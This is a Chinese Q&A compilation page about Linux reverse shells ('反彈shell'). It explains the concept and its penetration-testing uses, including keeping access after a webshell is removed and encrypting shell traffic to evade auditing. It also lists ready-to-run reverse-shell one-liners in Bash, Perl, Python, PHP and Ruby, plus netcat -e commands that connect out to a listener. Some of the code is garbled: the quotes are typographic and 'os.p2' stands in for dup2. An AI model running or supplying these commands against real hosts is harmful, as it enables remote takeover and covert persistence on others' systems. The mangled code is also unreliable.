當前位置:首頁 » 操作系統 » linux反彈

linux反彈

發布時間: 2022-09-28 07:27:16

A. linux反彈shell 什麼意思

簡單來說,Shell就是實現用戶命令的介面,通過這個介面我們就能實現對計算機的控制,比如我們常見的ssh就是執行的Shell命令實現對遠程對伺服器的控制。
那反彈Shell是啥呢?其英文名叫做Reverse
Shell,具體干什麼的呢?就是控制端首先監聽某個TCP/UDP埠,然後被控制端向這個埠發起一個請求,同時將自己命令行的輸入輸出轉移到控制端,從而控制端就可以輸入命令來控制被控端了。
比如說,我們有兩台主機A、B,我們最終想實現在A上控制B。那麼如果用正向Shell,其實就是在A上輸入B的連接地址,比如通過ssh連接到
B,連接成功之後,我們就可以在A上通過命令控制B了。
如果用反向Shell,那就是在A上先開啟一個監聽埠,然後讓B去連接A的這個埠,連接成功之後,A這邊就能通過命令控制B了。
反彈shell有什麼用?
還是原來的例子,我們想用A來控制B,如果想用ssh等命令來控制,那得輸入B的sshd地址或者埠對吧?但是在很多情況下,由於防火牆、安全組、區域網、NAT等原因,我們實際上是無法直接連接到B的,比如:
A雖然有公網IP,但B是一個處於內網的機器,A就沒法直接連到B上。
B上開了防火牆或者安全組限制,sshd的服務埠22被封閉了。
B是一台撥號主機,其IP地址經常變動。
假如B被攻擊了,我們想讓B向A匯報自己的狀況,那自然就需要B主動去連接A。
如果是這些情況,我們就可以用反彈Shell用A來控制B了。

B. 如何讓linux反彈一個加密的shell

https://jingyan..com/article/574c5219776fa06c8d9dc120.html
-供參考

C. linux提權一定要反彈shell嗎

1、知道root密碼的情況下可以使用su -
2、沒有root密碼的情況下,事先讓root把普通用戶加入sudoers,並分配許可權。使用sudo

D. linux反彈shell知識匯總

shell是滲透中常用的名詞,像getshell,webshell,反彈shell等等,都和shell相關。
網路解釋的shell:
在計算機科學中,Shell俗稱殼(用來區別於核),是指「為使用者提供操作界面」的軟體(命令解析器)。它類似於DOS下的command.com和後來的cmd.exe。它接收用戶命令,然後調用相應的應用程序。
簡單說用戶通過殼訪問操作系統內核的服務,也就是由殼到內核,執行系統命令。
getshell:獲取到目標的命令執行許可權
webshell:指網站後門,通過web服務進行命令執行
反彈shell:把命令行的輸入輸出轉移到其它主機

1、webshell下執行命令不交互,為了方便提權或其它操作必須要反彈shell。
2、反彈shell相當於新增一個後門,當webshell被發現刪除後許可權不會丟失。

使用whereis命令去確定目標支持的反彈方法。

bash反彈是實戰中用的最多的方法

把命令拆開分析:
1、bash -i代表在本地打開一個bash
2、/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接
3、>&後面跟上/dev/tcp/ip/port這個文件代表將標准輸出和標准錯誤輸出重定向到這個文件,也就是傳遞到遠程vps
4、遠程vps開啟對應的埠去監聽,就會接收到這個bash的標准輸出和標准錯誤輸出。

需要目標主機安裝了nc

使用其他版本的 nc

配合命名管道進行反彈:

首先使用socket與遠程建立起連接,接下來使用到了os庫的p2方法將標准輸入、標准輸出、標准錯誤輸出重定向到遠程,p2這個方法有兩個參數,分別為文件描述符fd1和fd2,當fd2參數存在時,就關閉fd2,然後將fd1代表的那個文件強行復制給fd2,在這里可以把fd1和fd2看作是C語言里的指針,將fd1賦值給fd2,就相當於將fd2指向於s.fileno(),fileno()返回的是一個文件描述符,在這里也就是建立socket連接返回的文件描述符,列印出來數值為3

0代表標准輸入、1代表標准輸出、2代表標准錯誤輸出、3代表重定向到遠程
接下來使用os的subprocess在本地開啟一個子進程,傳入參數「-i」使bash以交互模式啟動,標准輸入、標准輸出、標准錯誤輸出又被重定向到了遠程,這樣的話就可以在遠程執行輸入命令了。

需要php關閉safe_mode選項,才可以使用exec函數。
使用php的exec函數執行方法1反彈shell的命令

使用php的fsockopen去反彈shell

exec反彈

perl反彈

ruby反彈

lua反彈

通過上述命令反彈shell得到的shell並不能稱為完全交互的shell,通常稱之為'啞'shell。
通常存在以下缺點

因此有必要去獲取一個完全交互的shell。
1、在啞 shell 中執行python,使用pty模塊,創建一個原生的終端,命令如下:

運行完後
2、鍵入 Ctrl-Z暫停任務,切回到 VPS 的命令行中;在 VPS 中執行:

3、在啞 shell 中執行,得到一個完全交互的shell,支持命令補全、歷史命令查看、語法高亮、vim編輯等功能。

部分防護設備會對內外網傳輸流量進行審查,反彈shell執行命令都是以明文進行傳輸的,很容易被查殺。
因此需要將原始流量使用 openssl 加密,繞過流量審計設備。

1、首先vps上生成SSL證書的公鑰/私鑰對,信息懶得填,一直回車即可。

2、vps使用 OpenSSL 監聽一個埠

3、目標主機執行反彈加密shell

反彈成功,成功接收到ssl流量加密的shell。

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://www.sohu.com/a/161766202_709042
https://www.freebuf.com/vuls/211847.html
https://www.freebuf.com/articles/system/178150.html
https://zhuanlan.hu.com/p/138393396
https://www.cnblogs.com/Dubing-ydfc/p/11749241.html

E. 求LINUX下反彈的遠程式控制制軟體

用內網機器主動連外網SSH,然後埠轉發

F. Linux如何使用命令生成反彈SHELL

【Reverse shell】也叫反彈shell,是滲透攻擊的基本功,如果你找到機會讓遠端的機器執行你注入的代碼,你的代碼怎樣才能為你生成一個可以交互操作的shell呢?
你可以在本地先用nc啟動一個監聽進程【nc -l 埠號】
然後在遠端執行【bash -i >& /dev/tcp/你本地的IP/埠號 0>&1】即可。

G. 如何在linux下編譯netcat並且反彈cmdshell

etcat-0.7.1.tar.gz
然後當然是解壓
tar zxvf netcat-0.7.1.tar.gz

解壓完畢之後會生成目錄,要cd進去
cd netcat-0.7.1
然後進行編譯前的配置。
./configure

配置完了之後就可以make編譯了。

編譯成功就生成了netcat可執行的文件了,位於src目錄,cd進去進行運行./netcat -h.如圖

本地Windows監聽
nc -vv -l -p 1234

遠程Windows轉發
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234

遠程Linux轉發
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php

———————NetCat for linux 參數e————————-
下載netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–

一句話反彈命令
[Bash]
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

[PERL]
perl -e 『use Socket;$i=」10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(「tcp」));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,」>&S」);open(STDOUT,」>&S」);open(STDERR,」>&S」);exec(「/bin/sh -i」);};』

[Python]
python -c 『import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((「10.0.0.1″,1234));os.p2(s.fileno(),0); os.p2(s.fileno(),1); os.p2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);』

[PHP]
php -r 『$sock=fsockopen(「10.0.0.1″,1234);exec(「/bin/sh -i <&3 >&3 2>&3″);』

[Ruby]
ruby -rsocket -e』f=TCPSocket.open(「10.0.0.1″,1234).to_i;exec sprintf(「/bin/sh -i <&%d >&%d 2>&%d」,f,f,f)』

熱點內容
我配置很高了ae為什麼卡 發布:2025-05-17 14:54:50 瀏覽:167
python數據分析實戰pdf 發布:2025-05-17 14:49:42 瀏覽:950
海瀾之家廣告腳本 發布:2025-05-17 13:56:06 瀏覽:30
手文件夾恢復 發布:2025-05-17 13:53:32 瀏覽:993
linux怎麼看進程 發布:2025-05-17 13:53:30 瀏覽:303
thinkphp欄位緩存 發布:2025-05-17 13:52:01 瀏覽:575
山靈app安卓版如何設置 發布:2025-05-17 13:51:49 瀏覽:388
帆布壓縮袋 發布:2025-05-17 13:26:27 瀏覽:457
c語言16進製表示方法 發布:2025-05-17 13:11:25 瀏覽:480
ftp單位 發布:2025-05-17 13:10:03 瀏覽:142